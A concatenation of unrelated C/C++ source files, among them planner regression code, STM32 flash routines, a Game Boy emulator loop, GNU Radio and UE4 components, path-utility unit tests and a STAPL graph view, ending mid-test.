reg_steps.push_back(new RegressionStep(states.back(), distance)); } // Remove the full goal state (we still keep the partial goal state if need be) states.pop_back(); for (int i = plan.size() - 1; i >= 0; i--) { RegressionStep *next = (RegressionStep*)reg_steps.back(); reg_steps.push_back(new RegressionStep(*plan[i], states.back(), ++distance, next)); next->prev = (RegressionStep*)reg_steps.back(); states.pop_back(); } assert(states.empty()); } else { s = new PartialState(*(goal_step->state)); reg_steps.push_back(new RegressionStep(s, distance)); for (int i = plan.size() - 1; i >= 0; i--) { RegressionStep *next = (RegressionStep*)reg_steps.back(); PartialState *regressed = new PartialState(*(next->state), *plan[i], false, states[i]); reg_steps.push_back(new RegressionStep(*plan[i], regressed, ++distance, next)); next->prev = (RegressionStep*)reg_steps.back(); // Strengthen the step so it doesn't fire an FSAP at some // some point. Strengthening is sufficient but not neccessary ((RegressionStep*)reg_steps.back())->strengthen(states[i]); } } if (!create_goal) { delete reg_steps.front(); reg_steps.pop_front(); ((RegressionStep*)reg_steps.front())->next = goal_step; } for (int i = 0; i < states.size(); i++) delete states[i]; states.clear(); g_timer_regression.stop(); return reg_steps; } void generate_regressable_ops() { list reg_steps; list cond_reg_steps; PartialState *s; for (int i = 0; i < g_operators.size(); i++) { // First, consider operators that lack conditional effects if (0 == g_nondet_conditional_mask[g_operators[i].nondet_index]->size()) { s = new PartialState(); // Only applicable if the prevail and post conditions currently hold. for (int j = 0; j < g_operators[i].get_pre_post().size(); j++) { (*s)[g_operators[i].get_pre_post()[j].var] = int(g_operators[i].get_pre_post()[j].post); } for (int j = 0; j < g_operators[i].get_prevail().size(); j++) { (*s)[g_operators[i].get_prevail()[j].var] = int(g_operators[i].get_prevail()[j].prev); } reg_steps.push_back(new RegressableOperator(g_operators[i], s)); } // Next, consider operators that have conditional effects that are consistent else { s = new PartialState(); bool consistent = true; int var,val; // Ensure that the conditional effect preconditions are all consistent to fire. for (int j = 0; consistent && (j < g_operators[i].get_pre_post().size()); j++) { var = g_operators[i].get_pre_post()[j].var; val = g_operators[i].get_pre_post()[j].pre; if ((-1 != (*s)[var]) && (val != (*s)[var])) { consistent = false; break; } else { (*s)[var] = val; } for (int k = 0; k < g_operators[i].get_pre_post()[j].cond.size(); k++) { var = g_operators[i].get_pre_post()[j].cond[k].var; val = g_operators[i].get_pre_post()[j].cond[k].prev; if ((-1 != (*s)[var]) && (val != (*s)[var])) { consistent = false; break; } else { (*s)[var] = val; } } } for (int j = 0; consistent && (j < g_operators[i].get_prevail().size()); j++) { var = g_operators[i].get_prevail()[j].var; val = g_operators[i].get_prevail()[j].prev; if ((-1 != (*s)[var]) && (val != (*s)[var])) { consistent = false; break; } else { (*s)[var] = val; } } // Reset the state for checking the post conditions delete s; s = new PartialState(); // Only makes sense to continue if it is consistent so far if (consistent) { // Only applicable if the prevail and post conditions currently hold. for (int j = 0; j < g_operators[i].get_pre_post().size(); j++) { var = g_operators[i].get_pre_post()[j].var; val = g_operators[i].get_pre_post()[j].post; if ((-1 != (*s)[var]) && (val != (*s)[var])) { consistent = false; break; } else { (*s)[var] = val; } } for (int j = 0; j < g_operators[i].get_prevail().size(); j++) { var = g_operators[i].get_prevail()[j].var; val = g_operators[i].get_prevail()[j].prev; if ((-1 != (*s)[var]) && (val != (*s)[var])) { consistent = false; break; } else { (*s)[var] = val; } } } if (consistent) cond_reg_steps.push_back(new RegressableOperator(g_operators[i], s)); else delete s; } } g_regressable_ops = new Policy(); g_regressable_ops->update_policy(reg_steps); g_regressable_cond_ops = new Policy(); g_regressable_cond_ops->update_policy(cond_reg_steps); } void RegressionStep::strengthen(PartialState *s) { if (is_goal) return; vector reg_items; g_deadend_policy->generate_applicable_items(*state, reg_items, true, false); // Each item could potentially be a forbidden state-action pair for (int i = 0; i < reg_items.size(); i++) { // If this holds, then we may trigger the forbidden pair if (((NondetDeadend*)(reg_items[i]))->op_index == op->nondet_index) { for (int j = 0; j < g_variable_name.size(); j++) { int val = (*(((NondetDeadend*)(reg_items[i]))->state))[j]; // We may have broken it in a previous iteration if ((val != -1) && (val != (*state)[j]) && ((*state)[j] != -1)) break; // Just need to break one of the decisions if ((val != -1) && (val != (*s)[j])) { assert((*state)[j] == -1); (*state)[j] = (*s)[j]; break; } } } } } #include "platform.h" #include "flash_ex.h" /* Base address of the Flash sectors Bank 1 */ #define ADDR_FLASH_SECTOR_0 ((uint32_t)0x08000000) /* Base @ of Sector 0, 16 Kbytes */ #define ADDR_FLASH_SECTOR_1 ((uint32_t)0x08004000) /* Base @ of Sector 1, 16 Kbytes */ #define ADDR_FLASH_SECTOR_2 ((uint32_t)0x08008000) /* Base @ of Sector 2, 16 Kbytes */ #define ADDR_FLASH_SECTOR_3 ((uint32_t)0x0800C000) /* Base @ of Sector 3, 16 Kbytes */ #define ADDR_FLASH_SECTOR_4 ((uint32_t)0x08010000) /* Base @ of Sector 4, 64 Kbytes */ #define ADDR_FLASH_SECTOR_5 ((uint32_t)0x08020000) /* Base @ of Sector 5, 128 Kbytes */ #define ADDR_FLASH_SECTOR_6 ((uint32_t)0x08040000) /* Base @ of Sector 6, 128 Kbytes */ #define ADDR_FLASH_SECTOR_7 ((uint32_t)0x08060000) /* Base @ of Sector 7, 128 Kbytes */ #define ADDR_FLASH_SECTOR_8 ((uint32_t)0x08080000) /* Base @ of Sector 8, 128 Kbytes */ #define ADDR_FLASH_SECTOR_9 ((uint32_t)0x080A0000) /* Base @ of Sector 9, 128 Kbytes */ #define ADDR_FLASH_SECTOR_10 ((uint32_t)0x080C0000) /* Base @ of Sector 10, 128 Kbytes */ #define ADDR_FLASH_SECTOR_11 ((uint32_t)0x080E0000) /* Base @ of Sector 11, 128 Kbytes */ static uint32_t GetSector(uint32_t Address) { uint32_t sector = 0; if ((Address < ADDR_FLASH_SECTOR_1) && (Address >= ADDR_FLASH_SECTOR_0)) { sector = FLASH_SECTOR_0; } else if ((Address < ADDR_FLASH_SECTOR_2) && (Address >= ADDR_FLASH_SECTOR_1)) { sector = FLASH_SECTOR_1; } else if ((Address < ADDR_FLASH_SECTOR_3) && (Address >= ADDR_FLASH_SECTOR_2)) { sector = FLASH_SECTOR_2; } else if ((Address < ADDR_FLASH_SECTOR_4) && (Address >= ADDR_FLASH_SECTOR_3)) { sector = FLASH_SECTOR_3; } else if ((Address < ADDR_FLASH_SECTOR_5) && (Address >= ADDR_FLASH_SECTOR_4)) { sector = FLASH_SECTOR_4; } else if ((Address < ADDR_FLASH_SECTOR_6) && (Address >= ADDR_FLASH_SECTOR_5)) { sector = FLASH_SECTOR_5; } else if ((Address < ADDR_FLASH_SECTOR_7) && (Address >= ADDR_FLASH_SECTOR_6)) { sector = FLASH_SECTOR_6; } else if ((Address < ADDR_FLASH_SECTOR_8) && (Address >= ADDR_FLASH_SECTOR_7)) { sector = FLASH_SECTOR_7; } else if ((Address < ADDR_FLASH_SECTOR_9) && (Address >= ADDR_FLASH_SECTOR_8)) { sector = FLASH_SECTOR_8; } else if ((Address < ADDR_FLASH_SECTOR_10) && (Address >= ADDR_FLASH_SECTOR_9)) { sector = FLASH_SECTOR_9; } else if ((Address < ADDR_FLASH_SECTOR_11) && (Address >= ADDR_FLASH_SECTOR_10)) { sector = FLASH_SECTOR_10; } else { sector = FLASH_SECTOR_11; } return sector; } void hal_flash_read(uint32_t addr, void *data, uint32_t size) { memcpy(data, (const void *)addr, size); } // data: NULL if erase void hal_flash_write(uint32_t addr, void *data, uint32_t size) { uint32_t SectorError = 0; uint8_t *pdata = data; FLASH_EraseInitTypeDef EraseInitStruct; HAL_FLASH_Unlock(); if (pdata == NULL) { EraseInitStruct.TypeErase = FLASH_TYPEERASE_SECTORS; EraseInitStruct.VoltageRange = FLASH_VOLTAGE_RANGE_3; EraseInitStruct.Sector = GetSector(addr); // TODO: size doesnt take effect. EraseInitStruct.NbSectors = 1; HAL_FLASHEx_Erase(&EraseInitStruct, &SectorError); } else { __HAL_FLASH_DATA_CACHE_DISABLE(); __HAL_FLASH_INSTRUCTION_CACHE_DISABLE(); __HAL_FLASH_DATA_CACHE_RESET(); __HAL_FLASH_INSTRUCTION_CACHE_RESET(); __HAL_FLASH_INSTRUCTION_CACHE_ENABLE(); __HAL_FLASH_DATA_CACHE_ENABLE(); for (uint32_t i = 0; i < size; i++) { uint64_t data; data = *pdata; HAL_FLASH_Program(FLASH_TYPEPROGRAM_BYTE, addr, data); addr++; pdata++; } } HAL_FLASH_Lock(); } #include "normalbrick.h" NormalBrick::NormalBrick(QGraphicsItem* parent): AbstractBrick(1,QColor(0,0,50,100),parent) { } 1-10 /** * Copyright (c) 2016-2018, xehoth * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * 「BZOJ 4724」Podzielno 07-02-2018 * * @author xehoth */ #include #include #include #include struct InputOutputStream { enum { SIZE = 1 << 18 | 1 }; char ibuf[SIZE], *s, *t, obuf[SIZE], *oh; InputOutputStream() : s(), t(), oh(obuf) {} ~InputOutputStream() { fwrite(obuf, 1, oh - obuf, stdout); } inline char read() { return (s == t) && (t = (s = ibuf) + fread(ibuf, 1, SIZE, stdin)), s == t ? -1 : *s++; } template inline InputOutputStream &operator>>(T &x) { static char c; static bool iosig; for (c = read(), iosig = false; !isdigit(c); c = read()) { if (c == -1) return *this; iosig |= c == '-'; } for (x = 0; isdigit(c); c = read()) x = x * 10 + (c ^ '0'); iosig && (x = -x); return *this; } inline void print(char c) { (oh == obuf + SIZE) && (fwrite(obuf, 1, SIZE, stdout), oh = obuf); *oh++ = c; } template inline void print(T x) { static int buf[21], cnt; if (x != 0) { (x < 0) && (print('-'), x = -x); for (cnt = 0; x; x /= 10) buf[++cnt] = x % 10 | 48; while (cnt) print((char)buf[cnt--]); } else { print('0'); } } template inline InputOutputStream &operator<<(const T &x) { print(x); return *this; } } io; int n, q, sum; int main() { io >> n >> q; std::vector a(n); for (int i = 0; i < n; i++) { io >> a[i]; sum = (sum + a[i] * i) % (n - 1); } if (sum) a[sum]--; for (int i = 1; i < n; i++) a[i] += a[i - 1]; long long tmp; for (std::vector::iterator ans; q--;) { io >> tmp; ans = std::upper_bound(a.begin(), a.end(), tmp); io << (ans != a.end() ? ans - a.begin() : -1) << '\n'; } return 0; }mohaimenhasan/Indoor-Localization-Capstone-Project /* -*- c++ -*- */ /* * Copyright 2014 <> * * Wireless Security Lab - College of Computer and Information Science * Northeastern University, Boston, MA 02115, USA. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "bitmetrics_inserter_impl.h" #include #include #include #include #include namespace gr { namespace swifi { bitmetrics_inserter::sptr bitmetrics_inserter::make(const std::string &phy_tag_key) { return gnuradio::get_initial_sptr( new bitmetrics_inserter_impl(phy_tag_key)); } bitmetrics_inserter::sptr bitmetrics_inserter::make(int rate) { return gnuradio::get_initial_sptr( new bitmetrics_inserter_impl(rate)); } bitmetrics_inserter_impl::bitmetrics_inserter_impl(const std::string &phy_tag_key) : dynamic_rate_block("bitmetrics_inserter", io_signature::make(1, 1, sizeof(float)), io_signature::make(1, 1, sizeof(float)), phy_tag_key) { update_puncture_map(phy_utils::BPSK_1_2); } bitmetrics_inserter_impl::bitmetrics_inserter_impl(int rate) : dynamic_rate_block("bitmetrics_inserter", io_signature::make(1, 1, sizeof(float)), io_signature::make(1, 1, sizeof(float)), "") { update_puncture_map(rate); } void bitmetrics_inserter_impl::update_puncture_map(int rate) { d_puncture_map = phy_utils::create_puncture_map(rate); d_num_ones = 0; // used for calculing relative output/input rate for (int i = 0; i < d_puncture_map.size(); i++) if (d_puncture_map[i]) d_num_ones++; set_output_multiple(d_puncture_map.size() * 2); set_relative_rate(1.0 * d_puncture_map.size() / d_num_ones); } void bitmetrics_inserter_impl::update_rate(const tag_t &tag) { phy_tag t; if (phy_tag::parse(tag.value, t)) { update_puncture_map(t.rate()); } } int bitmetrics_inserter_impl::dynamic_rate_work(int noutput_items, int ninput_items, const void* input, void* output) { const float *in = (const float*)input; float *out = (float *)output; int m, l; int *punc_map; // bit inserting punc_map = d_puncture_map.data(); // local pointer for faster access m = d_puncture_map.size(); // number of bits per depunctured group l = noutput_items / (m * 2); // number of groups if (m > 1) { for (int i = 0; i < l; i++) { for (int j = 0; j < m; j++) { if (punc_map[j]) { *out++ = *in++; *out++ = *in++; } else { *out++ = 0; *out++ = 0; } } } } // no inserting else { memcpy(out, in, l * 2 * sizeof(float)); } return l * m * 2; } } /* namespace trellis */ } /* namespace gr */ ReClass/CNodeClass.cpp #include "stdafx.h" #include "CNodeClass.h" #include "CClassFrame.h" CNodeClass::CNodeClass( ) { TCHAR szOffset[128]; m_nodeType = nt_class; m_Offset = GetBaseAddress( ); #if defined(_M_AMD64) _ui64tot_s( m_Offset, szOffset, 128, 16 ); #else _ultot_s( m_Offset, szOffset, 128, 16 ); #endif m_strOffset.SetString( szOffset ); m_RequestPosition = -1; m_Idx = 0; m_pChildClassFrame = nullptr; } void CNodeClass::Update( const PHOTSPOT Spot ) { StandardUpdate( Spot ); if (Spot->Id == 0) { m_strOffset.SetString( Spot->Text.GetString( ) ); m_Offset = ConvertStrToAddress( m_strOffset ); } else if (Spot->Id == 1) { m_RequestPosition = _tcstol( Spot->Text.GetString( ), NULL, 10 ); // m_RequestPosition = ConvertStrToAddress( Spot->Text ); } } ULONG CNodeClass::GetMemorySize( ) { int size = 0; for (UINT i = 0; i < m_ChildNodes.size( ); i++) size += m_ChildNodes[i]->GetMemorySize( ); return size; } NODESIZE CNodeClass::Draw( const PVIEWINFO View, int x, int y ) { NODESIZE DrawSize; NODESIZE ChildDrawSize; DrawSize.x = 0; DrawSize.y = 0; AddSelection( View, x, y, g_FontHeight ); x = AddOpenClose( View, x, y ); // Save tx here int tx = x; x = AddIcon( View, x, y, ICON_CLASS, -1, -1 ); x = AddText( View, x, y, g_crOffset, 0, _T( "%s" ), m_strOffset ) + g_FontWidth; // x += ( NumDigits( m_Offset ) ) * FontWidth; // TODO, figure this out better // x += ( ( NumDigits( m_Offset ) - 7 ) * FontWidth ) / 2; // printf( "Print %s at %d\n", m_strOffset, x ); x = AddText( View, x, y, g_crIndex, HS_NONE, _T( "(" ) ); x = AddText( View, x, y, g_crIndex, HS_OPENCLOSE, _T( "%i" ), m_Idx ); x = AddText( View, x, y, g_crIndex, HS_NONE, _T( ")" ) ); x = AddText( View, x, y, g_crType, HS_NONE, _T( "Class " ) ); x = AddText( View, x, y, g_crName, HS_NAME, m_strName ) + g_FontWidth; x = AddText( View, x, y, g_crValue, HS_NONE, _T( "[%i]" ), GetMemorySize( ) ) + g_FontWidth; x = AddComment( View, x, y ); DrawSize.x = x; y += g_FontHeight; if (m_LevelsOpen[View->Level]) { VIEWINFO ViewInfo; memcpy( &ViewInfo, View, sizeof( ViewInfo ) ); ViewInfo.Level++; for (UINT i = 0; i < m_ChildNodes.size( ); i++) { CNodeBase* pNode = m_ChildNodes[i]; if (!pNode) { PrintOut( _T( "Node %d is NULL in class %s!" ), i, m_strName.GetString( ) ); continue; } if (pNode->GetType( ) == nt_vtable) { CNodeVTable* VTableNode = static_cast(pNode); if (!VTableNode->IsInitialized( ) && m_pChildClassFrame != nullptr) VTableNode->Initialize( static_cast(m_pChildClassFrame->GetChildView( )) ); } if (pNode->GetType( ) == nt_function) { CNodeFunction* FunctionNode = static_cast(pNode); if (!FunctionNode->IsInitialized( ) && m_pChildClassFrame != nullptr) FunctionNode->Initialize( m_pChildClassFrame->GetChildView( ), m_Offset + FunctionNode->GetOffset( ) ); } ChildDrawSize = pNode->Draw( &ViewInfo, tx, y ); y = ChildDrawSize.y; if (ChildDrawSize.x > DrawSize.x) { DrawSize.x = ChildDrawSize.x; } } } DrawSize.y = y; return DrawSize; } #pragma once #include "UE4TypesMarshallers.h" #include "Containers/StringConv.h" #include "serialization/ArraySerializer.h" #include "Templates/UniquePtr.h" //region FString namespace rd { FString Polymorphic::read(SerializationCtx& ctx, Buffer& buffer) { return FString(std::move(buffer.read_wstring()).data()); } void Polymorphic::write(SerializationCtx& ctx, Buffer& buffer, FString const& value) { buffer.write_wstring(wstring_view(GetData(value), value.Len())); } size_t hash::operator()(const FString& value) const noexcept { return GetTypeHash(value); } } template class rd::Polymorphic; template class rd::Polymorphic>; template struct rd::hash; // template class rd::Polymorphic, void>; //endregion #include #include #include #include #include #include GB::Gameboy::Gameboy(const char *rom_file) { m_cpu = new GB::Z80(NULL); m_ppu = new GB::PPU(NULL, NULL, NULL); m_hmi = new GB::HMI(2 * 160, 2 * 144, "LCD", NULL); m_cartridge = new GB::Cartridge(rom_file); m_mem = new GB::Mem(m_cartridge, m_ppu, m_hmi); m_cpu->setup(m_mem); m_ppu->setup(m_mem, m_cpu, m_hmi); m_hmi->setup(m_mem); loop(); } void GB::Gameboy::loop() { size_t cycles = 0; while (!m_hmi->should_close()) { auto t0 = std::chrono::high_resolution_clock::now(); m_cpu->step(); cycles += m_cpu->get_cycle_count(); if (cycles >= 17476) { cycles = 0; while (std::chrono::duration_cast( std::chrono::high_resolution_clock::now() - t0) .count() < 2) ; } m_ppu->step(); } } GB::Gameboy::~Gameboy() { delete m_cpu; delete m_ppu; delete m_hmi; delete m_cartridge; delete m_mem; } /** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include "../Catch.h" #include "utils/file/PathUtils.h" namespace fs = org::apache::nifi::minifi::utils::file; TEST_CASE("file::globToRegex works", "[globToRegex]") { REQUIRE(fs::globToRegex("").empty()); REQUIRE(fs::globToRegex("NoSpecialChars") == "NoSpecialChars"); REQUIRE(fs::globToRegex("ReplaceDot.txt") == "ReplaceDot\\.txt"); REQUIRE(fs::globToRegex("Replace.Multiple.Dots...txt") == "Replace\\.Multiple\\.Dots\\.\\.\\.txt"); REQUIRE(fs::globToRegex("ReplaceAsterisk.*") == "ReplaceAsterisk\\..*"); REQUIRE(fs::globToRegex("Replace*Multiple*Asterisks") == "Replace.*Multiple.*Asterisks"); REQUIRE(fs::globToRegex("ReplaceQuestionMark?.txt") == "ReplaceQuestionMark.\\.txt"); } TEST_CASE("path::isAbsolutePath", "[path::isAbsolutePath]") { #ifdef WIN32 REQUIRE(fs::isAbsolutePath("C:\\")); REQUIRE(fs::isAbsolutePath("C:\\Program Files")); REQUIRE(fs::isAbsolutePath("C:\\Program Files\\ApacheNiFiMiNiFi\\nifi-minifi-cpp\\conf\\minifi.properties")); REQUIRE(fs::isAbsolutePath("C:/")); REQUIRE(fs::isAbsolutePath("C:/Program Files")); REQUIRE(fs::isAbsolutePath("C:/Program Files/ApacheNiFiMiNiFi/nifi-minifi-cpp/conf/minifi.properties")); REQUIRE(!fs::isAbsolutePath("/")); #else REQUIRE(fs::isAbsolutePath("/")); REQUIRE(fs::isAbsolutePath("/etc")); REQUIRE(fs::isAbsolutePath("/opt/minifi/conf/minifi.properties")); #endif /* WIN32 */ REQUIRE(!fs::isAbsolutePath("hello")); } 0 /* @desc Simple modulo calculator @author @date Today @ref iostream @ref cstdlib */ #include #include void printOut(int, int); /* @note entry point of program @returns success state of program */ int main(int argc, char*argv[]){ if (argc != 3){ std::cout << "enter quotient then divisor after exe call" << std::endl; return -1; } int q = atoi(argv[1]); int d = atoi(argv[2]); std::cout << "Quotient: " << q/d << std::endl; std::cout << "Remainder" << q%d << std::endl; return 0; // We're good to go! } /* @name printOut @function displays results to screen @param numerator the dividend of the math @param denominator the divisor of the math */ void printOut(int numerator, int denominator){ std::cout << "Quotient: " << numerator/denominator << std::endl; std::cout << "Remainder" << numerator%denominator << std::endl; }mentalnote/deepdrive-simPlugins/DeepDrivePlugin/Source/DeepDrivePlugin/Private/CaptureSink/SharedMemSink/SharedMemCaptureSinkComponent.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "DeepDrivePluginPrivatePCH.h" #include "DeepDrivePlugin.h" #include "Public/CaptureSink/SharedMemSink/SharedMemCaptureSinkComponent.h" #include "Private/CaptureSink/SharedMemSink/SharedMemCaptureSinkWorker.h" DEFINE_LOG_CATEGORY(LogSharedMemCaptureSinkComponent); USharedMemCaptureSinkComponent::USharedMemCaptureSinkComponent() { m_Name = "SharedMemSink"; } void USharedMemCaptureSinkComponent::BeginPlay() { Super::BeginPlay(); UE_LOG(LogSharedMemCaptureSinkComponent, Log, TEXT("USharedMemCaptureSinkComponent::InitializeComponent")); m_SharedMemoryName = UGameplayStatics::GetPlatformName() == "Linux" ? SharedMemNameLinux : SharedMemNameWindows; m_Worker = new SharedMemCaptureSinkWorker(m_SharedMemoryName, MaxSharedMemSize); } void USharedMemCaptureSinkComponent::EndPlay(const EEndPlayReason::Type EndPlayReason) { Super::EndPlay(EndPlayReason); UE_LOG(LogSharedMemCaptureSinkComponent, Log, TEXT("USharedMemCaptureSinkComponent::DestroyComponent")); delete m_Worker; } void USharedMemCaptureSinkComponent::begin(double timestamp, uint32 sequenceNumber, const FDeepDriveDataOut &deepDriveData) { m_curJobData = new SharedMemCaptureSinkWorker::SSharedMemCaptureSinkJobData(timestamp, sequenceNumber, deepDriveData); } void USharedMemCaptureSinkComponent::setCaptureBuffer(int32 cameraId, EDeepDriveCameraType cameraType, CaptureBuffer &captureBuffer) { if (m_curJobData) { m_curJobData->captures.Add(SCaptureSinkBufferData(cameraType, cameraId, captureBuffer)); } } void USharedMemCaptureSinkComponent::flush() { if (m_curJobData && m_Worker ) { m_Worker->process(*m_curJobData); } } loop/loop/TTxtCatalogServer.hh0 #ifndef TTxtCatalogServer_hh #define TTxtCatalogServer_hh #include "TNamed.h" #include "TUrl.h" #include "TString.h" class TChain; class TStnDataset; #include "TStnCatalogServer.hh" class TTxtCatalogServer: public TStnCatalogServer { //----------------------------------------------------------------------------- // data members //----------------------------------------------------------------------------- protected: //----------------------------------------------------------------------------- // functions //----------------------------------------------------------------------------- public: TTxtCatalogServer(const char* Server = "txt://nowhere.fnal.gov/cdf/nodir", const char* Rsh = "rsh -N", int Print = 0); virtual ~TTxtCatalogServer(); int InitChain(TChain* Chain , const char* Book , const char* Dataset, const char* Fileset, const char* File , Int_t MinRun , Int_t MaxRun ); Int_t InitDataset(TStnDataset* Dataset , const char* Book = "" , const char* Name = "" , const char* Fileset = "" , const char* File = "" , Int_t MinRun = 1 , Int_t MaxRun = 100000000, const char* Type = "STNTUPLE"); //----------------------------------------------------------------------------- // accessors //----------------------------------------------------------------------------- virtual int FindDataset (const char* Book, const char* Dataset); virtual Int_t GetNEvents (const char* Book, const char* Dataset, const char* Fileset = 0, const char* File = 0); virtual Int_t GetNFiles (const char* Book , const char* Dataset , const char* Fileset = 0); virtual Int_t GetNFilesets(const char* Book, const char* Dataset); virtual Int_t GetRemoteServer(const char* Book, const char* Dataset, const char* Fileset, char* Server, char* RemoteDir); //----------------------------------------------------------------------------- // commands //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // setters //----------------------------------------------------------------------------- virtual Int_t AddFiles (TChain* Chain , const char* Book , const char* Dataset, const char* Fileset, Int_t Run1 , Int_t Run2 ); ClassDef(TTxtCatalogServer,0) }; #endif /* // Copyright (c) 2000-2009, Texas Engineering Experiment Station (TEES), a // component of the Texas A&M University System. // All rights reserved. // The information and source code contained herein is the exclusive // property of TEES and may not be disclosed, examined or reproduced // in whole or in part without explicit written authorization from TEES. */ #ifndef STAPL_CONTAINERS_GRAPH_UNDIRECTED_VIEW_HPP #define STAPL_CONTAINERS_GRAPH_UNDIRECTED_VIEW_HPP #include #include #include #include #include namespace stapl { namespace graph_impl { ////////////////////////////////////////////////////////////////////// /// @brief Work-function that adds bidirectional edges to the output graph /// for each directed edge in the input vertex. ////////////////////////////////////////////////////////////////////// struct global_edge_copy { typedef void result_type; template void operator()(Vert v, View vw) { typedef typename Vert::adj_edge_iterator edge_iterator; for (edge_iterator it = v.begin(); it != v.end(); ++it) { /// @fixme Get the edge property. vw.add_edge_async(typename View::edge_descriptor((*it).target(), (*it).source())); vw.add_edge_async(typename View::edge_descriptor((*it).source(), (*it).target())); } } }; } // namespace graph_impl #if 0 ////////////////////////////////////////////////////////////////////// /// @brief Undirected view is a @ref graph_view that presents undirected /// edges for a directed graph. /// /// @tparam C Container type. /// @tparam Dom Domain type. By default uses the same domain type /// provided for the container. /// @tparam MapFunc Mapping function type. (default: identity mapping function) /// @tparam Derived Type of the most derived class (default: itself) ////////////////////////////////////////////////////////////////////// template , typename Derived = use_default> class undirected_view : public graph_view, public readwrite_operation >, public sequence_operation >::type> { typedef graph_view base_type; typedef typename select_derived< Derived, graph_view >::type derived_type; typedef sequence_operation sequence_op_type; public: typedef typename sequence_op_type::iterator iterator; typedef typename sequence_op_type::iterator vertex_iterator; typedef typename PG::adj_edge_iterator adj_edge_iterator; typedef typename PG::vertex_property vertex_property; typedef typename PG::edge_property edge_property; typedef typename PG::vertex_descriptor vertex_descriptor; typedef typename PG::edge_descriptor edge_descriptor; typedef typename PG::vertex_reference vertex_reference; STAPL_VIEW_REFLECT_TRAITS(undirected_view) protected: view_container_type* m_undirected_container; public: ////////////////////////////////////////////////////////////////////// /// @brief Constructor used to pass ownership of the container to the view. /// /// @param vcont pointer to the container used to forward the operations. /// @param dom domain to be used by the view. /// @param mfunc mapping function to transform view indices to container /// gids. ////////////////////////////////////////////////////////////////////// undirected_view(view_container_type* vcont, domain_type const& dom, map_func_type mfunc=MapFunc()) : base_type(vcont, dom, mfunc) { } ////////////////////////////////////////////////////////////////////// /// @brief Constructor that does not takes ownership over the passed /// container. /// /// @param vcont reference to the container used to forward the operations. /// @param dom domain to be used by the view. /// @param mfunc mapping function to transform view indices to container /// gids. /// /// Creates the output graph and populates it with the bidirected /// edges from the input graph. ////////////////////////////////////////////////////////////////////// undirected_view(view_container_type& vcont, domain_type const& dom, map_func_type mfunc=MapFunc()) { this->m_undirected_container = new view_container_type(vcont.size()); this->m_domain = dom; typedef graph_view this_view_type; this_view_type vw(*m_undirected_container); this_view_type other_view(vcont); stapl::map_func(graph_impl::global_edge_copy(), other_view, make_repeat_view(vw)); } ////////////////////////////////////////////////////////////////////// /// @brief Constructs a view that can reference all the elements of /// the passed container. /// @param vcont pointer to the container used to forward the operations. /// /// Creates the output graph and populates it with the bidirected /// edges from the input graph. ////////////////////////////////////////////////////////////////////// undirected_view(view_container_type& vcont) { this->m_undirected_container = new view_container_type(vcont.size()); this->m_domain = domain_type(this->m_undirected_container->domain()); typedef graph_view this_view_type; this_view_type vw(*m_undirected_container); this_view_type other_view(vcont); stapl::map_func(graph_impl::global_edge_copy(), other_view, make_repeat_view(vw)); } ////////////////////////////////////////////////////////////////////// /// @brief Constructs a view that can reference all the elements of /// the passed container. The view takes ownership of the container. /// /// @param vcont pointer to the container used to forward the operations. ////////////////////////////////////////////////////////////////////// undirected_view(view_container_type* vcont) : base_type( vcont, domain_type(vcont) ) { } void define_type(typer& t) { t.member(m_undirected_container); } }; #endif ////////////////////////////////////////////////////////////////////// /// @brief Helper struct to get the type for @ref undirected_view. /// @tparam View The type of the input view. ////////////////////////////////////////////////////////////////////// template struct undirected_view_type { typedef View type; }; ////////////////////////////////////////////////////////////////////// /// @brief Function to return an undirected view of a directed graph. /// @param view The type of the input @ref graph_view over a directed graph. /// @return A @ref graph_view over the undirected graph. /// @note This function copies the internal graph and adds the bidirectional /// edges. The view returned is over a copy of the input graph, so changes /// made to the output view will not be reflected in the original container. /// @todo This function does the same thing as the @ref undirected_view, /// we need to figure out which one to remove. ////////////////////////////////////////////////////////////////////// template typename undirected_view_type::type undirected_view(View& view) { typename view_traits::container* undirected_container = new typename view_traits::container(view.size()); typename undirected_view_type::type ud_view(undirected_container); stapl::map_func(graph_impl::global_edge_copy(), view, make_repeat_view(ud_view)); return ud_view; } } // namespace stapl #endif #include #include #include "../SFEParams.hpp" const char* const json_str = "{\n" " \"system\": {\n" " \"window\":{\n" " \"width\":1280,\n" " \"height\":720\n" " }\n" " },\n" " \"panel\":{\n" " \"log\":{\n" " \"show\":true\n" " },\n" " \"mainmenu\":{\n" " \"show\":true\n" " },\n" " \"bp editor\":{\n" " \"show\":true\n" " },\n" " \"lib\":{\n" " \"show\":true\n" " },\n" " \"graph\":{\n" " \"show\":true\n" " },\n" " \"plot\":{\n" " \"show\":true\n" " }\n" " }\n" "}\n"; TEST(SFEParams, splitkeys) { auto res = sfe::SFEParams::Instance().SplitKeys("system.show"); for (int i = 0; i < res.size(); ++i) { LOG(INFO) << res[i]; } EXPECT_EQ(2, res.size()); } TEST(SFEParams, params_get_set) { auto& params = sfe::SFEParams::Instance(); params.LoadParams(json_str); EXPECT_EQ(params.GetParam("system.window.width").asInt(), 1280); params.SetParam("system.window.width", 